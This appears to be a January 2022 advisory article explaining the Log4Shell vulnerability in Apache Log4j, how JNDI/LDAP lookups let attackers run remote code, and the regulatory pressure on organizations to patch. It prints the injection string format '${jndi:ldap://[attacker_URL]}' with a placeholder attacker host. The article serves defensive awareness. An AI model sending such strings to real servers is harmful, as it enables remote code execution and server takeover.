January 20, 2022

Takeaway:  Log4j, also known as the Log4Shell vulnerability, is a critical threat, and no organization should assume it is safe. Determining exposure to Log4j, and fixing vulnerabilities, should be a high priority for most security teams.

The Log4j exploit, also known as the Log4Shell vulnerability, allows threat actors to take control of web-facing servers by feeding them a malicious text string. It exists within Log4j, an open-source Apache library for logging errors and events in Java-based applications. Third-party logging solutions like Log4j are a common way for software developers to log data within an application without building a custom solution.[1]

The Log4Shell vulnerability is triggered by attackers inserting a Java Naming Directory Interface (JNDI) lookup in a header field (likely to be logged), which links to a malicious server. After Log4j logs this string, the server is queried and gives directory information leading to the download and execution of a malicious java data class. This means cybercriminals can both extract private keys and, depending on the level of defenses in place, download and run malware directly on impacted servers. In essence, the Log4Shell vulnerability allows hackers to remotely inject arbitrary code into a target network and assume complete control of it.

A technical look at Log4j

To understand the cyberattack sequence, it’s important to first define data log and understand how loggers operate. Data logging is the process of collecting and storing data over a period of time in order to analyze specific trends or record the data-based events/actions of a system, network, or IT environment. It enables the tracking of all interactions through which data, files, or applications are stored, accessed, or modified on a storage device or application.[2]  Without a logger library like Log4j, information from servers is instantly archived after collection.[3]

But if logged data is actively analyzed, or if certain actions in response to specific log data are required, Java software developers may use a library like Log4j to parse logs before they’re archived.

Any business that uses a vulnerable Log4j library to parse log data in their backend systems is vulnerable to a Log4j cyberattack.

Again, the Log4Shell vulnerability allows hackers to remotely inject arbitrary code into a target network and assume complete control of it. Since Log4j is capable of executing code based on input, and because the vulnerability allows attackers to manipulate input data, the logger could be forced to execute malicious code.

So, when a vulnerable Log4j library has passed a specially crafted string it will call out to a Lightweight Directory Access Protocol server (LDAP), download the code hosted in the LDAP directory, and then execute that code. This allows cybercriminals to create a malicious LDAP server that stores code designed to take-over any server where it is executed, and then send applications, databases, or APIs the string that points to the malicious code. LDAP is usually coupled with JNDI- which allows you to store java objects in a remote location and serialize those objects. LDAP JNDI is the vector used to inject code into the victim’s server. The format looks like this…${jndi:ldap://[attacker_URL]}

Organizations of all types and sizes should actively manage exposure to loss due to the Log4Shell vulnerability. Doing so will not be easy. The Log4j program is present in so many applications that the sheer magnitude of the issue is unlike any other faced by IT and cybersecurity professionals. Despite that, Cybersecurity and Infrastructure Security Agency (CISA) and the Federal Trade Commission (FTC) have made it clear that – in the event of a breach – failure to have addressed the vulnerability may result in FTC legal action.

However daunting the task, it’s worth noting that Section 5 of the FTC Act, which gives the FTC authority to investigate and penalize unfair methods of competition, engages a standard of reasonableness. That standard is likely satisfied by following ongoing guidance from CISA and implementing controls from The National Institute of Standards and Technology Cybersecurity Framework.

[1] https://www.upguard.com/blog/apache-log4j-vulnerability

[2] https://www.techopedia.com/definition/596/data-logging

[3] https://www.upguard.com/blog/apache-log4j-vulnerability